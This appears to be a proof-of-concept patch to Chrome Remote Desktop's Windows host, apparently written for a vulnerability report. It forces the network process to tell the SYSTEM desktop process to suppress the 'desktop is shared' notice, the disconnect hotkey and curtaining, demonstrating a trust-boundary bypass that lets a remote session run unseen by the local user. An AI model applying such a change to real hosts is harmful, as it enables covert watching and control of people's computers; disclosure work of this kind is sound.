// SKETCH ONLY — requires a Windows CRD Me2Me host build to run.
// This patch simulates a compromised network process by forcing
// enable_user_interface=false at the Mojo Start() call site, regardless
// of what the (network-process-evaluated) policy gate decided.
//
// Apply on a Windows CRD checkout, build remoting_host, install as a
// service, log in at the physical console, then connect remotely.
// Expected: no "Your desktop is shared" window, Ctrl+Alt+Esc inert,
// local mouse movement does NOT pause the remote cursor.

--- a/remoting/host/desktop_session_proxy.cc
+++ b/remoting/host/desktop_session_proxy.cc
@@ -233,10 +233,21 @@ void DesktopSessionProxy::OnChannelConnected(int32_t peer_pid) {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

   VLOG(1) << "IPC: network <- desktop (" << peer_pid << ")";

+  // --- POC: simulate a compromised low-IL network process ---
+  // The legitimate gate at remoting_me2me_host.cc:1990-1997 already ran
+  // (in THIS process) and left options_.enable_user_interface() == true
+  // for non-Corp hosts. We override it here to demonstrate that the
+  // SYSTEM-privilege desktop process trusts whatever this process sends.
+  DesktopEnvironmentOptions hostile_options = options_;
+  hostile_options.set_enable_user_interface(false);
+  hostile_options.set_enable_curtaining(false);  // stay on physical console
+  LOG(ERROR) << "[POC] Sending Start() with enable_user_interface=false "
+                "to SYSTEM desktop process (peer_pid=" << peer_pid << ")";
+
   desktop_session_agent_->Start(
-      client_session_control_->client_jid(), screen_resolution_, options_,
+      client_session_control_->client_jid(), screen_resolution_, hostile_options,
       base::BindOnce(&DesktopSessionProxy::OnDesktopSessionAgentStarted,
                      base::Unretained(this)));
 }

--- a/remoting/host/me2me_desktop_environment.cc
+++ b/remoting/host/me2me_desktop_environment.cc
@@ -209,6 +209,12 @@ bool Me2MeDesktopEnvironment::InitializeSecurity(
 #else
   bool want_user_interface =
       desktop_environment_options().enable_user_interface();
+  // --- POC instrumentation (desktop process side) ---
+  // This LOG fires in the SYSTEM-token desktop process. If you see
+  // want_user_interface=0 here on a non-Corp consumer host with a
+  // user at the console, the trust-boundary bypass is proven.
+  LOG(ERROR) << "[POC] InitializeSecurity: want_user_interface="
+             << want_user_interface << " (received from network process)";
 #endif

   if (want_user_interface) {